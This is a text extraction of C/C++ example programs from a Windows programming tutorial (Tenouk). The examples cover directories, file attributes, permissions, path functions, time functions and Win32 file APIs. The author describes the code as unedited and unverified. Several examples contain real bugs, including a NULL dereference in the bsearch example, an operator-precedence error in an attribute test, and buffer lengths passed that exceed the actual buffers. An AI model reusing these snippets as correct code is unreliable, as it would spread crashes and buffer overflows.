/*If we can switch to the drive, it exists.*/


for(drive = 1; drive <= 26; drive++)
if(!_chdrive(drive))
printf("%c: ", drive + 'A' - 1);

printf("\n\nType drive letter to check: ");


chr = _getch();
if(chr == 27)
printf("Illegal drive input\n");
if(isalpha(chr))
_putch(chr);
if(_getdcwd(toupper(chr) - 'A' + 1, path, _MAX_PATH) != NULL)
printf("\nCurrent directory on that drive is:\n%s\n", path);

file:///C|/Tutorial.txt (653 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/*Restore original drive.*/


_chdrive(curdrive);

/*Get the current working directory*/


if(_getcwd(buffer, _MAX_PATH) == NULL)
perror("_getcwd error");
else
printf("\nCurrent working directory is: %s\n", buffer);

/*Create a directory and then delete */


if(_mkdir(newdir) == 0)
{
printf("\nDirectory %s was successfully created\n", newdir);
system("dir \\testdir");

if(_rmdir("\\testdir") == 0)
printf("\nDirectory %s was successfully removed\n", newdir);
else
printf("\nProblem removing directory %s\n", newdir);
}
else
printf("\nProblem creating directory %s\n", newdir);

/*Uses _chdir() function to verify that a given directory exists*/


printf("\n");
printf("Change directory........\n");
if(_chdir(path1))
printf("Unable to locate the directory: %s\n", path1);
else
system("dir *.log /a");
printf("\n");
return 0;
}

-------------------------------------------------------------------------------------------------------

/*The use of the 32-bit _find functions to print a list


of all files (and their attributes) in the current directory.*/
#include <stdio.h>
#include <io.h>
#include <time.h>
#include <direct.h>
#include <conio.h>
#include <ctype.h>

int main()
{
char path[50] = "C:\\WINNT\\System32\\config";
struct _finddata_t c_file;
long hFile;

printf("Change to %s\n", path);


if(_chdir(path))
printf("Unable to locate the directory: %s\n", path);
else

file:///C|/Tutorial.txt (654 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/* Find first in the current directory */


hFile = _findfirst("*.*", &c_file);

/* List the files... */


printf("Listing of files in the directory %s\n\n", path);
printf("\nRDO HID SYS ARC FILE DATE %25c SIZE\n", ' ');
printf("--- --- --- --- ---- ---- %25c ----\n", ' ');
printf((c_file.attrib & _A_RDONLY) ? " Y " : " N ");
printf((c_file.attrib & _A_SYSTEM) ? " Y " : " N ");
printf((c_file.attrib & _A_HIDDEN) ? " Y " : " N ");
printf((c_file.attrib & _A_ARCH) ? " Y " : " N ");
printf(" %-12s %.24s %9ld\n", c_file.name, ctime(&(c_file.time_write)), c_file.size);

/*Find the rest of the files*/


while(_findnext(hFile, &c_file) == 0)
{
printf((c_file.attrib & _A_RDONLY) ? " Y " : " N ");
printf((c_file.attrib & _A_SYSTEM) ? " Y " : " N ");
printf((c_file.attrib & _A_HIDDEN) ? " Y " : " N ");
printf((c_file.attrib & _A_ARCH) ? " Y " : " N ");
printf(" %-12s %.24s %9ld\n", c_file.name, ctime(&(c_file.time_write)), c_file.size);
}
_findclose(hFile);

return 0;
}

----------------------------------------------------------------------------------------------------

#include <io.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>

int main()
{
int fhdl, result;
char fname[20] = "C:\\data.txt";

/*Open a file*/
if((fhdl = _open(fname, _O_RDWR | _O_CREAT, _S_IREAD | _S_IWRITE)) != -1)
{
printf("%s file length before running _chsize(): %ld\n", fname, _filelength(fhdl));
/*Change the file size*/
printf("Executing _chsize(fhdl, 123456)...\n");
if((result = _chsize(fhdl, 123456)) == 0)
printf("%s file size successfully changed!\n", fname);
else
printf("Problem in changing the %s size\n", fname);
/*New size*/
printf("%s file length after changing the size: %ld\n", fname, _filelength(fhdl));
/*close the file handle*/
_close(fhdl);
}

file:///C|/Tutorial.txt (655 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

return 0;
}

--------------------------------------------------------------------------------------------------------

#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <direct.h>

void DisplayFullPath(char *relPath)


{
/*Buffer*/
char full[_MAX_PATH];

if(_fullpath(full, relPath, _MAX_PATH) != NULL)


printf("The full path is: %s\n", full);
else
printf("Invalid path\n");
}

int main()
{
DisplayFullPath("test.txt");
DisplayFullPath("\\test.txt");
DisplayFullPath("..\\test.txt");
return 0;
}

-----------------------------------------------------------------------------------------------------------

#include <stdlib.h>
#include <stdio.h>

int main()
{
char path_buffer[_MAX_PATH];
char drive[_MAX_DRIVE];
char dir[_MAX_DIR];
char fname[_MAX_FNAME];
char ext[_MAX_EXT];

_makepath(path_buffer, "g", "\\Testdir\\myexample\\", "testfile", "txt");


printf("Path created with _makepath(): %s\n", path_buffer);
_splitpath(path_buffer, drive, dir, fname, ext);
printf("Path extracted with _splitpath():\n");
printf(" Drive: %s\n", drive);
printf(" Dir: %s\n", dir);
printf(" Filename: %s\n", fname);
printf(" Ext: %s\n", ext);
return 0;
}

==============================ModuleB=====================================
| |
| The program examples' source codes have been arranged in the same |

file:///C|/Tutorial.txt (656 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| order that appeared in the Tutorial. This is unedited and unverified |


| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

/*Playing with some of the file handling functions*/


#include <io.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>

/*You can try other files and directories*/


char obj[50] = "d:\\test\\testsubtwo\\testsubthree\\robots.txt";
char newobj[50] = "d:\\test\\testsubtwo\\testsubthree\\human.txt";

int main()
{
/*Check for existence*/
if((_access(obj, 0)) != -1)
printf("%s file exists\n", obj);
else
printf("%s file does not exist lol!\n", obj);

/*Check for read/write permission*/


if((_access(obj, 2)) != -1)
printf("%s file has write permission\n", obj);
if((_access(obj, 4)) != -1)
printf("%s file has read permission\n", obj);
if((_access(obj, 6)) != -1)
printf("%s file has write and read permission\n\n", obj);

/* Make file read-only: */


if(_chmod(obj, _S_IREAD) == -1)
perror("File not found lol!\n");
else
{
printf("The file mode is changed to read-only\n");
_chmod(obj, _S_IREAD);
}
if((_access(obj, 4)) != -1)
printf("%s file has read permission\n", obj);

/*Change back to read/write*/


if(_chmod(obj, _S_IWRITE) == -1)
perror("file not found lol!\n");

file:///C|/Tutorial.txt (657 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
{
printf("\nThe file\'s mode is changed to read/write\n");
_chmod(obj, _S_IWRITE);
}

if((_access(obj, 2)) != -1)


printf("%s file has write permission\n", obj);

/*Attempt to rename file*/


int result = rename(obj, newobj);
if(result != 0)
printf("\nCould not rename %s\n", obj);
else
printf("\n%s file has been renamed to\n %s\n", obj, newobj);

/*remove the file*/


if(remove(newobj) == -1)
printf("\nCould not delete %s lol!\n", newobj);
else
printf("\nOoops! %s file has been deleted lol!\n", newobj);

return 0;
}

----------------------------------------------------------------------------------------------

/*This program uses _umask to set the file-permission mask


so that all future files will be created as read-only files.
Then we create a file for write and test opening the file
for writing*/
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <io.h>
#include <stdio.h>

int main()
{
int fh, oldmask;
/*File in current working directory*/
char test[20] = "test.txt";

/*Create read-only files: */


oldmask = _umask(_S_IWRITE);
printf("Oldmask = 0x%.4x\n", oldmask);

/*create a file with write permission*/


fh = _creat(test, _S_IWRITE);
if(fh == -1)
printf("Couldn't create %s file!\n", test);
else
{
printf("%s file successfully created.\n", test);
_close(fh);
}

file:///C|/Tutorial.txt (658 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/*Try opening file for write*/


fh = _open(test, _O_WRONLY);
if(fh == -1)
printf("%s opening failed!\n", test);
else
{
printf("%s opening succeeded!\n", test);
if(_close(fh) == 0)
printf("%s closed successfully!\n", test);
}
printf("Oldmask = 0x%.4x\n", oldmask);
return 0;
}

----------------------------------------------------------------------------------------------

/*Using the _stat64 function reporting a file information*/


#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>

int main()
{
struct __stat64 buf;
int result;
char fname[50] = "c:\\WINNT\\system32\\config\\sam.log";

/*Get data associated with a file*/


result = _stat64(fname, &buf);

/*Test if statistics are valid*/


if(result != 0)
printf("Problem getting %s file information.\n", fname);
else
{
/*dump some of the file information*/
/*Notice how the structures' elements were accessed*/
printf("The file : %s\n", fname);
printf("Drive : %c:\n", buf.st_dev + 'A');
printf("File size : %ld bytes\n", buf.st_size);
printf("Time created : %s", _ctime64(&buf.st_ctime));
printf("Last accessed : %s", _ctime64(&buf.st_atime));
printf("Time modified : %s", _ctime64(&buf.st_mtime));
printf("Bit mask : %p\n", &buf. st_mode);
return 0;
}
}

----------------------------------------------------------------------------------------------

/*Opening file for input and output, then close*/


/*Running on 32 bits system*/
#include <fcntl.h>
#include <sys/types.h>

file:///C|/Tutorial.txt (659 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#include <sys/stat.h>
#include <io.h>
#include <stdio.h>

int main()
{
int fhand1, fhand2;
char fname1[50] = "cruntime.cpp";
char fname2[50] = "robots.txt";

fhand1 = _open(fname1, _O_RDONLY);


if(fhand1 == -1)
printf("opening %s failed for input\n", fname1);
else
{
printf("%s opening succeeded for input\n", fname1);
if(_close(fhand1) == 0)
printf("%s closed successfully!\n", fname1);
}

fhand2 = _open(fname2, _O_WRONLY | _O_CREAT, _S_IREAD | _S_IWRITE);


if(fhand2 == -1)
printf("%s open failed for output\n", fname2);
else
{
printf("%s open succeeded for output\n", fname2);
if(_close(fhand2) ==0)
printf("%s closed successfully!\n", fname1);
}
return 0;
}

----------------------------------------------------------------------------------------------

/*Playing with directory, file and


permission*/
#include <stdio.h>
#include <stdlib.h>
#include <direct.h>
#include <io.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>

int main(void)
{
int curdrive;
char buffer[_MAX_PATH];
/*file name*/
char fname[20] = "content.doc";
/*path*/
char dir[50] = "d:\\test\\testsubtwo\\testsubthree";
struct _finddata_t c_file;
/*file handle*/
long hFile;

file:///C|/Tutorial.txt (660 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/*----------------------------------------------*/
printf("Firstly, get the current drive...\n");
curdrive = _getdrive();
printf("Current drive is %c:\n\n", curdrive + 'A'-1);

/*-----------------------------------------------*/
printf("Next, get the current working directory...\n");
printf("Current working directory is: \n");
if(_getcwd(buffer, _MAX_PATH) == NULL)
perror("_getcwd error lol!");
else
printf("%s\n\n", buffer);

/*-----------------------------------------------*/
printf("Change the current working directory...\n");
_chdir(dir);
printf("\n");

/*------------------------------------------------*/
printf("Current working directory is: \n");
if(_getcwd(buffer, _MAX_PATH) == NULL)
perror("_getcwd error");
else
printf("%s\n\n", buffer);

/*------------------------------------------------*/
hFile = _findfirst("*.*", &c_file);
{
printf("Listing of *.* files\n\n");
printf("\nRDO HID SYS ARC TYPE FILE DATE %19c SIZE\n", ' ');
printf("--- --- --- --- ---- ---- ---- %19c ----\n", ' ');
printf((c_file.attrib & _A_RDONLY) ? " Y " : " N ");
printf((c_file.attrib & _A_HIDDEN) ? " Y " : " N ");
printf((c_file.attrib & _A_SYSTEM) ? " Y " : " N ");
printf((c_file.attrib & _A_ARCH) ? " Y " : " N ");
printf((c_file.attrib & _A_NORMAL) ? " Y " : " N ");
printf(" %-15s %.24s %6d\n", c_file.name, ctime(&(c_file.time_write)), c_file.size );

/*Find the rest of the files*/


while(_findnext(hFile, &c_file) == 0)
{
printf((c_file.attrib & _A_RDONLY) ? " Y " : " N ");
printf((c_file.attrib & _A_HIDDEN) ? " Y " : " N ");
printf((c_file.attrib & _A_SYSTEM) ? " Y " : " N ");
printf((c_file.attrib & _A_ARCH) ? " Y " : " N ");
printf((c_file.attrib & _A_NORMAL) ? " Y " : " N ");
printf(" %-15s %.24s %6d\n", c_file.name, ctime(&(c_file.time_write)), c_file.size);
}
_findclose(hFile);
}
/*Check the file exist...*/
if((_access(fname, 0)) != -1)
printf("\n%s file exists\n", fname);
else
{
printf("\n%s file not found lor!\n", fname);

file:///C|/Tutorial.txt (661 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/*just exit*/
exit(1);
}

/*Check the permission*/


printf("\nTest the permission for %s file\n", fname);

/*If write, then change to read. Must check the write first
because file that can be write can also be read but not vice versa*/
if((_access(fname, 2)) == 0)
{
printf("\n%s file has write permission!\n", fname);
printf("\nChange to read only permission...\n");
_chmod(fname, _S_IREAD);

printf("\nRetest the read only permission...\n");


if((_access(fname, 4)) == 0)
printf("%s file is READ ONLY!\n", fname);
exit(0);
}

/*if not write it should be read permission, then change


to write permission*/
else
{
printf("\n%s file is READ ONLY!\n", fname);
printf("\nChange to write permission...\n");
_chmod(fname, _S_IWRITE);

printf("\nRetest for write permission...");


if((_access(fname, 2)) == 0)
printf("\n%s has write permission!\n", fname);
exit(0);
}
return 0;
}

----------------------------------------------------------------------------------------------

/*****program example using bsearch()*****/


/*****If it is C++, better to use STL****/
#include <search.h>
#include <string.h>
#include <stdio.h>

/*A compare function prototype*/


int compare(char **arg1, char *arg2[]);

int main(int argc, char *argv[])


{
char **result;
char *key = "red";
int i;

/*Sort using qsort algorithm*/


qsort((void *)argv, (size_t)argc, sizeof(char *), (int (*)(const void*, const void*))compare);

file:///C|/Tutorial.txt (662 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/*Output the sorted list */


for(i = 0; i < argc; ++i)
printf("%s ", argv[i]);

/*Find the word "cat" using a binary search algorithm*/


result = (char **)bsearch((char *) &key, (char *)argv, argc, sizeof(char *), (int (*)(const void*, const void*))compare);
if(result)
printf("\n\'%s\' word found at address: %p\n", *result, result);
else
printf("\n\'%s\' word not found!\n", *result);
return 0;
}

int compare(char *arg1[], char *arg2[])


{
/*Compare all of both strings*/
return _strcmpi(*arg1, *arg2);
}

----------------------------------------------------------------------------------------------

/*Playing with time. Program example for


time management functions...*/
#include <time.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/timeb.h>
#include <string.h>

int main()
{
char buff[128], ampm[] = "AM";
__time64_t lgtime;
struct __timeb64 timstruct;
struct tm *today, *thegmt, xmas = {0, 0, 12, 25, 11, 90};

/* Set time zone from TZ environment variable. If TZ is not set,


* the operating system is queried to obtain the default value
* for the variable.*/
_tzset();

/*Get UNIX-style time and display as number and string.*/


_time64(&lgtime);
printf("Time in seconds since UTC 1/1/70:\t%ld seconds\n", lgtime);
printf("UNIX time and date:\t\t\t%s", _ctime64(&lgtime));

/*Display UTC.*/
thegmt = _gmtime64(&lgtime);
printf("Coordinated universal time, UTC:\t%s", asctime(thegmt));

/*Display operating system-style date and time.*/


_strtime(buff);
printf("OS time:\t\t\t\t%s\n", buff);
_strdate(buff);
printf("OS date:\t\t\t\t%s\n", buff);

file:///C|/Tutorial.txt (663 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/*Convert to time structure and adjust for PM if necessary.*/


today = _localtime64(&lgtime);
if(today->tm_hour >= 12)
{
strcpy(ampm, "PM");
today->tm_hour -= 12;
}

/*Adjust if midnight hour.*/


if(today->tm_hour == 0)
today->tm_hour = 12;

/* Pointer addition is used to skip the first 11


* characters and printf() is used to trim off terminating
* characters.*/
printf("12-hour time:\t\t\t\t%.8s %s\n", asctime(today) + 11, ampm);

/*Print additional time information.*/


_ftime64(&timstruct);
printf("Plus milliseconds:\t\t\t%u\n", timstruct.millitm);
printf("Zone difference in hours from UTC:\t%u hours\n", timstruct.timezone/60);
printf("Time zone name:\t\t\t\t%s\n", _tzname[0]);
printf("Daylight savings:\t\t\t%s\n", timstruct.dstflag ? "YES" : "NOT SET");

/*Make time for noon on Christmas, 1990.*/


if(_mktime64(&xmas) != (__time64_t)-1)
printf("Christmas\t\t\t\t%s", asctime(&xmas));

/*Use time structure to build a customized time string.*/


today = _localtime64(&lgtime);

/*Use strftime to build a customized time string.*/


strftime(buff, 128, "Today is %A, day %d of %B in the year %Y.\n", today);
printf(buff);
return 0;
}

-----------------------------------------------------------------------------------------------------------------

#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <io.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main()
{
char fname[20] = "testnofile.txt";
int fhndl;
/*Try to open non-existing file*/
if((fhndl = _open(fname, _O_RDONLY)) == -1)
{
/*Using the possible ways to create error message*/

file:///C|/Tutorial.txt (664 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

perror("Using perror()");
printf("Using strerror(): %s\n", strerror(errno));
printf(_strerror("_strerror()"));
printf("There is some error opening %s file\n", fname);
}
else
{
printf("Open %s for reading succeeded!\n", fname);
_close(fhndl);
}
return 0;
}

----------------------------------------------------------------------------------------------

/***** mysearch.cpp *********/


/*Compiled using VC++ 7.0/.Net*/
/*Run at command prompt */
/*Tested on Win Xp Pro machine*/
#include <windows.h>
#include <direct.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <io.h>
#include <tchar.h>

/*Prototype for recursive function*/


void FindThePath(TCHAR*, TCHAR*, TCHAR*);

/*Filename stripping*/
static void TheRightside(TCHAR *str, size_t num)
{

size_t i = _tcslen(str);
size_t chs = 0, chr = 0;
/*May use malloc() for C compiler*/
TCHAR *hld = new TCHAR[num+1];
if((i > num) || (i == num))
{
for(chs = (i-num); chs<i; chs++)
{
hld[chr] = str[chs];
++chr;
}
hld[num] = '\0';
for(chs = 0; chs < (num+1); chs++)
{
str[chs] = hld[chs];
}
}
/*Don't forget to free() up if using malloc()*/
delete [] hld;
}
/*Test the searched string/filename*/

file:///C|/Tutorial.txt (665 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

static bool TestTheStrings(TCHAR *str1, TCHAR *str2)


{
char *mp,*cp;
size_t x1 = 0;
bool ret = true;

x1 = _tcslen(str1);
if(_tcslen(str2) != (unsigned)x1)
{ret = false;}
else
{
for(size_t i=0; i<x1; i++)
{
if(str1[i] != str2[i])
ret = false;
}
}

while ((*str2) && (*str1 != '*'))


{
if((*str1 != *str2) && (*str1 != '?'))
{return 0;}
str1++;
str2++;
}
while (*str2)
{
if(*str1 == '*')
{
if(!*++str1)
{return 1;}
mp = str1;
cp = str2+1;
}
else if ((*str1 == *str2) || (*str1 == '?'))
{
str1++;
str2++;
}
else
{
str1 = mp;
str2 = cp++;
}
}
while (*str1 == '*')
{str1++;}
return !*str1;
return ret;
}
/*Search and construct the path*/
void FindThePath(TCHAR *root, TCHAR *file, TCHAR *buffer)
{
HANDLE hFind;
BOOL ok;
WIN32_FIND_DATA fd;

file:///C|/Tutorial.txt (666 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

TCHAR start[_MAX_PATH];
TCHAR dir[_MAX_PATH];
/*search flag*/
bool found = false;

TCHAR test[_MAX_PATH];
/*using test as a temp location*/
_tcscpy(test, buffer);
/*Get the length of the file name*/
size_t tlen = _tcslen(file);
/*strip off possible filename if it is in the buffer*/
TheRightside(test, tlen);
/*test for it*/
if(TestTheStrings(test, file))
/*return if it is there...no need to look further*/
{return;}

/*if they passed a valid string for the root*/


if(_tcslen(root) > 0)
{
/*modify it to search for all files/folders....*/
_tcscpy(start, root);
_tcscat(start, "\\*");
}

for(hFind = FindFirstFile(start, &fd), ok = 1;


hFind != INVALID_HANDLE_VALUE && ok;
ok = FindNextFile(hFind, &fd))
{
//bitwise AND to test the returned fileattributes
if(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
/*assuming it is a dir so copy over*/
_tcscpy(dir, fd.cFileName);
/*make sure it is not the default parent directory...*/
if((TestTheStrings(dir, ".") == false))
{
/*Or current working directory, copying this over results in infinite recursion*/
if((TestTheStrings(dir, "..") == false))
{
if(found == false)
/*if we have not found the file in this current call, then make a call*/
{
/*Constructs the path*/
/*Or you can try the _fullpath()*/
_tcscpy(test, root);
_tcscat(test, "\\");
_tcscat(test, dir);

/*and recurse through them.....*/


FindThePath(test, file, buffer);
}/*end found*/
}/*end .. test*/
}/*end . test*/
}/*end dir test*/

file:///C|/Tutorial.txt (667 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/*bitwise AND to check for file flag*/


if(fd.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE | FILE_ATTRIBUTE_DIRECTORY | FILE_ATTRIBUTE_SYSTEM |
FILE_ATTRIBUTE_HIDDEN)
{
/*if we have a file is it the one we want?*/
found = TestTheStrings(file, fd.cFileName);
if(found == true)
{
/*if it is, then create the full path name for it and copy into the buffer*/
_tcscpy(buffer, root);
_tcscat(buffer, "\\");
_tcscat(buffer, fd.cFileName);
printf("%s\n", buffer);

/*-----------------------------------------------------------------*/
/*Other routines can be implemented/called here for the found files*/
/*Such as delete, rename, replace, search the file contents, */
/*move, append, create a file, change the file attributes etc... */
/*-----------------------------------------------------------------*/

}/*end found test*/


}/*end archive test*/
}/*end for*/

/*18 = ERROR_NO_MORE_FILES, that is if other than no more files...*/


/*Check the error if any*/
if(GetLastError() != 18)
printf("FindFile() error: %d\n", GetLastError());
if(hFind != INVALID_HANDLE_VALUE)
{
BOOL ok = FindClose(hFind);
if(!ok)
/*Check the last error if any, very good for troubleshooting/debug*/
printf("FindClose() error: %d", GetLastError());
}
}

/*The main() program*/


int main(int argc, char *argv[])
{
TCHAR buffer[_MAX_PATH];
TCHAR mydrives[] = "A:";

/*If not enough arguments supplied*/


if(argc != 2)
{
printf("Example usage: %s <test.txt> or <test.*> or <*.txt> or <*.*>\n", argv[0]);
printf("It is case sensitive!\n");
/*Just exit*/
exit (-1);
}

/*Some prompt*/
printf("Example usage: %s <test.txt> or <test.*> or <*.txt> or <*.*>\n", argv[0]);
printf("It is case sensitive!\n\n");

file:///C|/Tutorial.txt (668 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

/*Get the drives bit masks...1 is available, 0 is not available*/


/*A = least significant bit...*/
ULONG DriveMask = _getdrives();
/*If something wrong*/
if(DriveMask == 0)
printf("_getdrives() failed with failure code: %d\n", GetLastError());
while(DriveMask)
{
printf("Found %s and start digging...\n", mydrives);
if(DriveMask & 1)
printf(mydrives);
/*For every found drive...do the file search*/
FindThePath(mydrives, argv[1], buffer);
/*Pointer increment*/
++mydrives[0];
/*Shift the bit masks binary*/
/*to the right and repeat, means go to the next found drive*/
DriveMask >>= 1;
}
return 0;
}

==============================ModuleC=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

#include <windows.h>
#include <stdio.h>

int main()
{
//handle for file
HANDLE hFile;
//file and path
char fname[30] = "c:\\testfile.txt";
DWORD lpdwFlags[100];

hFile = CreateFile(fname, // file to be opened


GENERIC_WRITE, // open for writing

file:///C|/Tutorial.txt (669 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

FILE_SHARE_WRITE, // share for writing


NULL, // default security
CREATE_ALWAYS, // create new file only
FILE_ATTRIBUTE_NORMAL |FILE_ATTRIBUTE_ARCHIVE | SECURITY_IMPERSONATION,
// normal file archive and impersonate client
NULL); // no attr. template

if(hFile == INVALID_HANDLE_VALUE)
printf("Could not open %s file, error %d\n", fname, GetLastError());

printf("File's HANDLE is OK!\n");


BOOL test = GetHandleInformation(hFile, lpdwFlags);
printf("The return value is %d, error %d\n", test, GetLastError());

CloseHandle(hFile);
DeleteFile(fname);
return 0;
}

---------------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>
#define BUFSIZE 2048

int main()
{
char chrBuf[BUFSIZE];
DWORD dwRead, dwWritten;
HANDLE hStdin, hStdout;
BOOL fSuccess;

//Standard output handle


hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
//Standard input handle
hStdin = GetStdHandle(STD_INPUT_HANDLE);
//If something wrong with handle for standard input or output
if((hStdout == INVALID_HANDLE_VALUE) || (hStdin == INVALID_HANDLE_VALUE))
//Just exit
exit(1);

printf("Waiting data from standard input:\n");


printf("--EOF to end--\n");

//To stop, press end of file characters


for(;;)
{
//Read from standard input, keyboard.
fSuccess = ReadFile(hStdin, chrBuf, BUFSIZE, &dwRead, NULL);
if(!fSuccess || dwRead == 0)
break;

printf("Data to the standard output:\n");


//Write to standard output, console.
fSuccess = WriteFile(hStdout, chrBuf, dwRead, &dwWritten, NULL);
if(!fSuccess)

file:///C|/Tutorial.txt (670 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

break;
}
return 0;
}

---------------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

char szlongpath[100] = "C:\\Documents and Settings\\All Users";


char szshortpath[100];
char buffer = 100;

int main()
{
DWORD test = GetShortPathName(
szlongpath,
szshortpath,
buffer
);

printf("The long path name = %s, the error is %d\n", szlongpath, GetLastError());
printf("The short path name = %s, the error is %d\n", szshortpath, GetLastError());
printf("The length in TCHARs = %d, the error is %d\n", test, GetLastError());

return 0;
}

---------------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

int main()
{
char lpFileName[20] = "module20.txt";
char lpBuffer[50];
LPSTR *lpFilePart = NULL;

DWORD test = GetFullPathName(


lpFileName,
100,
lpBuffer,
lpFilePart
);

printf("The %s\'s path is %s.\n", lpFileName, lpBuffer);


return 0;
}

---------------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

file:///C|/Tutorial.txt (671 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

int main()
{
//handle for file
HANDLE hFile;
//file and path
char fname[30] = "c:\\testfile.txt";

hFile = CreateFile(fname, //file to be opened


GENERIC_WRITE, //open for writing
FILE_SHARE_WRITE, //share for writing
NULL, //default security
CREATE_ALWAYS, //create new file only
FILE_ATTRIBUTE_NORMAL |FILE_ATTRIBUTE_ARCHIVE | SECURITY_IMPERSONATION,
//normal file archive and impersonate client
NULL); //no attribute template

if(hFile == INVALID_HANDLE_VALUE)
printf("Could not open %s file, error %d\n", fname, GetLastError());
else
{
printf("File's HANDLE is OK!\n");
printf("%s opened successfully!\n", fname);
}
if(CloseHandle(hFile) != 0)
printf("CloseHandle() succeeded!\n");

if(DeleteFile(fname) != 0)
printf("%s file successfully deleted!\n", fname);

return 0;
}

==============================ModuleD=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

//WinXp Pro
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

char *lpReplacedFileName = "C:\\module20.txt";

file:///C|/Tutorial.txt (672 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

char *lpReplacementFileName = "C:\\testfile.txt";


LPVOID lpExclude;
LPVOID lpReserved;

int main()
{
BOOL test = ReplaceFile(
lpReplacedFileName,
lpReplacementFileName,
"C:\\backup.txt",
REPLACEFILE_IGNORE_MERGE_ERRORS,
lpExclude,
lpReserved
);

printf("The original file = %s\n", lpReplacedFileName);


printf("The replacement file = %s\n", lpReplacementFileName);
printf("The return value = %d\n", test);
return 0;
}

------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

int main()
{
DWORD nBufferLength = 100;
char lpBuffer[50];

//Get temp path


DWORD temPathLength =
GetTempPath(
nBufferLength,
lpBuffer
);

printf("Temp path = %s.\n", lpBuffer);


printf("Temp path length = %d.\n", temPathLength);
return 0;
}

------------------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

int main()
{
HANDLE hFile;
HANDLE hTempFile;
DWORD dwBytesRead, dwBytesWritten;
char szTempName[MAX_PATH];
char buffer[4096];
char fname[50] = "c:\\testfile.txt";

file:///C|/Tutorial.txt (673 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//Open the existing file.


hFile = CreateFile(fname, //file name
GENERIC_READ, //open for reading
0, //do not share
NULL, //default security
OPEN_EXISTING, //existing file only
FILE_ATTRIBUTE_NORMAL, //normal file
NULL); //no template

if(hFile == INVALID_HANDLE_VALUE)
{
printf("Could not open %s file.\n", fname);
}
else
printf("%s file opened successfully.\n", fname);

//Create a temporary file. Make sure is are c:\temp folder


GetTempFileName("c:\\temp", //directory for temp files
"testmp", //temp file name prefix
0, //create unique name
szTempName); //buffer for name

hTempFile = CreateFile((LPTSTR) szTempName, //file name


GENERIC_READ | GENERIC_WRITE, //open for read/write
0, //do not share
NULL, //default security
CREATE_ALWAYS, //overwrite existing file
FILE_ATTRIBUTE_NORMAL, //normal file
NULL); //no attribute template

if(hTempFile == INVALID_HANDLE_VALUE)
printf("Could not create %s temporary file.\n", szTempName);
else
printf("%s temporary file created successfully.\n", szTempName);

//Read 2K blocks of the content to the buffer.


//Change all characters in the buffer to uppercase.
//Write the buffer to the temporary file.
printf("Reading the %s file, change to the uppercase and\n", fname);
printf("write to %s temporary file\n", szTempName);
do
{
